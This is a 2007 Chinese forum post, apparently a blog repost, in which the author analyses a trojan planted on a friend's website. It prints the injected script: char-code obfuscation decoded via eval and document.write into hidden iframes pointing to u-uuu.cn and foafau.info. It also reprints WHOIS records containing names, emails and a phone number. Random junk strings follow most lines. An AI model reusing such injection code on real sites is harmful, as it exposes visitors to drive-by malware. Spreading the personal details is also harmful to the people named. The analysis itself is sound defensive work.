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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, m39 `f,M  
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http://www.areway.cn/?p=175 qbmy~\ZY  
w$pBACX  
>lRX+?  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: |eJ4"OPC  
           |G{TA  
<script>t=’60,105,102,114,97,109,101, GV* B$  
32,115,114,99,61,104,116,116,112,58,47,47, ]7Tjt A.\q  
102,114,101,101,46,117,45,117,117,117,46,99, ?HttqK)  
110,47,101,114,114,111,114,46,104,116,109, nRJcYl~ Y  
32,119,105,100,116,104,61,49,48,48,32,104, crUt8L-B4  
101,105,103,104,116,61,48,62,60,47,105,102, AW1691Q  
114,97,109,101,62′; //Ck1cI#h  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> [P407Sa"  
                                                                                                  cOq^}Ohan  
<script>t=’60,105,102,114,97,109,101,32,115, 7 i,}F|#8  
114,99,61,104,116,116,112,58,47,47,102,114, hC=9%u{r?  
101,101,46,117,45,117,117,117,46,99,110,47, @u#Tx%  
101,114,114,111,114,46,104,116,109,32,119, t=Tu-2,k  
105,100,116,104,61,49,48,48,32,104,101,105, 8" XbW7^o  
103,104,116,61,48,62,60,47,105,102,114,97, (pNA8i%=G  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); $xJVUV  
document.write(t);</script> 4#!NVI3t  
                                                                                                  ~bhesWk8!  
<html xmlns=” y7txIe!<5  
http://www.w3.org/1999/xhtml x/ lW=EQ  
“> ?>LsIPa  
<head> ggIz) </  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> |/5j0  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Tn8Z2iC  
<title>首页 - 爱生活家庭网 0ZlF#PJA  
                                                                                                                                                    xQT`sK+  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 zVFz}kJa  
转换字符串后的大概内容是(谁点击后果自付): O|}97a^  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… bzz=8n  
                                                                                                                                  `9SuDuw;s  
查询玉米u-uuu.cn的详细信息: e/'d0Gb-  
Domain Name: u-uuu.cn Xkk m~sM6  
ROID: 20070901s10001s64972306-cn *W~+Nho.A  
Domain Status: ok 9 N[k ?kUZ  
Registrant Organization: 王雷 s>~ h<B  
Registrant Name: 王雷 RoFy2A=_  
Administrative Email: czlovexs@126.com BrcT`MM[(=  
Sponsoring Registrar: 北京万网志成科技有限公司 D7T(B=S6  
Name Server:ns.yovole.com (sSMH6iCif  
Name Server:ns1.yovole.com 7|3Qcn7P)@  
Registration Date: 2007-09-01 17:54 <N"t[N70;  
Expiration Date: 2008-09-01 17:54 >E^?<}E~.  
最后PING了一下地址 都没有什么…. 0S@O]k)  
                                                                                                a5WVDh, cR  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. KZO!  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> J 2%^%5&0  
<script language=”javascript” src=” rP.qCl+J  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script K[RlR+j  
> -e#YWMo(  
这个玉米应该有可能是木马作者的: SeAokz>  
foafau.info的详细信息: 9 O| "Ws>{  
Access to INFO WHOIS information is provided to assist persons in lbrob' '+  
determining the contents of a domain name registration record in the )t={+^Xe  
Afilias registry database. The data in this record is provided by quc?]rb  
Afilias Limited for informational purposes only, and Afilias does not =O~1L m;  
guarantee its accuracy.  This service is intended only for query-based b)@%gS\F  
access. You agree that you will use this data only for lawful purposes }xTTz,Oj$  
and that, under no circumstances will you use this data to: (a) allow, "m +Eu|{  
enable, or otherwise support the transmission by e-mail, telephone, or &n|! '/H  
facsimile of mass unsolicited, commercial advertising or solicitations i'J.c4  
to entities other than the data recipient’s own existing customers; or pH.wCD:1n  
(b) enable high volume, automated, electronic processes that send Sr~zN:wn  
queries or data to the systems of Registry Operator, a Registrar, or 5sC{5LJzC  
Afilias except as reasonably necessary to register domain names or rb%P30qc4  
modify existing registrations. All rights reserved. Afilias reserves `),7*gn*)  
the right to modify these terms at any time. By submitting this query, fV*x2g7w  
you agree to abide by this policy. y %Get  
Domain ID:D22418703-LRMS 37ll8  
Domain Name:FOAFAU.INFO x~$P.X7(~  
Created On:20-Nov-2007 16:05:42 UTC #"O9\X/B  
Last Updated On:20-Nov-2007 16:05:44 UTC zr&K0a{hc  
Expiration Date:20-Nov-2008 16:05:42 UTC Al3Hu-Hf;`  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) |}es+<P  
Status:CLIENT DELETE PROHIBITED <.l5>mgkCw  
Status:CLIENT RENEW PROHIBITED Ki^m&P   
Status:CLIENT TRANSFER PROHIBITED R=i$*6}a  
Status:CLIENT UPDATE PROHIBITED jn^i4f>N  
Status:TRANSFER PROHIBITED CUnZ}@?d  
Registrant ID:GODA-040110615 1;fs`k0p  
Registrant Name:liu hong dDi 1{s  
Registrant Organization: To]WCFp6@  
Registrant Street1:beijing KAgiY4  
Registrant Street2: -njxc{b  
Registrant Street3: U> e@m?  
Registrant City:beijing l2 gI2Cioa  
Registrant State/Province: pA4/ '7nCl  
Registrant Postal Code:100000 *W(b=u  
Registrant Country:CN /{>ds-;-  
Registrant Phone:+86.860108888777  *X*D, VY  
Registrant Phone Ext.: cC"7Vt9b  
Registrant FAX: /p<mD-:.M  
Registrant FAX Ext.: 5G(y  
Registrant Email:bbbshiji@163.com K.o?g?&<  
Admin ID:GODA-240110615 q1r\ 60M  
Admin Name:liu hong /iy2j8: z  
Admin Organization: *%B%BJnX  
Admin Street1:beijing U,RIr8G  
Admin Street2: @F=ZGmq  
Admin Street3: ;NRm ,  
Admin City:beijing A |NX"  
Admin State/Province: L nw+o}  
Admin Postal Code:100000 Z'S>i*Ts  
Admin Country:CN - CM;sXq  
Admin Phone:+86.860108888777 RvDqo d  
Admin Phone Ext.: 3i >$g3G  
Admin FAX: FE M_7M  
Admin FAX Ext.: BAX])~_  
Admin Email:bbbshiji@163.com YX^{lD1Jj  
Billing ID:GODA-340110615 oWs&W  
Billing Name:liu hong &_q;X;}  
Billing Organization: S _ nTp)  
Billing Street1:beijing j|lg&kN  
Billing Street2: tHJ1MDw'  
Billing Street3: ]Y;$~qQ  
Billing City:beijing jG)>{D  
Billing State/Province: ? 1Z\=s  
Billing Postal Code:100000 [C771~BL>  
Billing Country:CN iW* 0V3  
Billing Phone:+86.860108888777 XKks j!'B  
Billing Phone Ext.: pC5-,Z;8  
Billing FAX: 5wGyM10  
Billing FAX Ext.: Kh$L~4l  
Billing Email:bbbshiji@163.com (O?z6g  
Tech ID:GODA-140110615 gMHH3^\VH)  
Tech Name:liu hong hH@018+  
Tech Organization:  ~ikTo -  
Tech Street1:beijing 1/HPcCsHb  
Tech Street2: jLb3{}0  
Tech Street3: ;GH(A=}/Y  
Tech City:beijing >V;<K?5B`W  
Tech State/Province: "T~Ps$  
Tech Postal Code:100000 ) }?dYk  
Tech Country:CN >!bYuVHA  
Tech Phone:+86.860108888777 zQ)[re)  
Tech Phone Ext.: ~x4Y57  
Tech FAX: NA0hQGN}  
Tech FAX Ext.: G1| Tu"  
Tech Email:bbbshiji@163.com 9F,jvCM63  
Name Server:NS27.DOMAINCONTROL.COM Nk=M  
Name Server:NS28.DOMAINCONTROL.COM i"_f46r P  
Name Server: _10#rucr  
Name Server: 4SG[_:+!  
Name Server: J~c]9t  
Name Server: j$8 ~M  
Name Server: aP"i_!\.aa  
Name Server: *YtITyDS3>  
Name Server: Nc;7KMOIA  
Name Server: F." L{g  
Name Server: F6q}(+9i  
Name Server: @|d|orMC  
Name Server: g|nPr)<  
                                                                                                          >!a*wf~]  
接着下载每个文件里面的代码: 2V~Yb1P  
一步一步看.. j?.VJ^Ff/u  
]+@b=J2b  
=x[`W9.D  
9$)4C|  
A#8/:t1AW  
d[O.UzQ  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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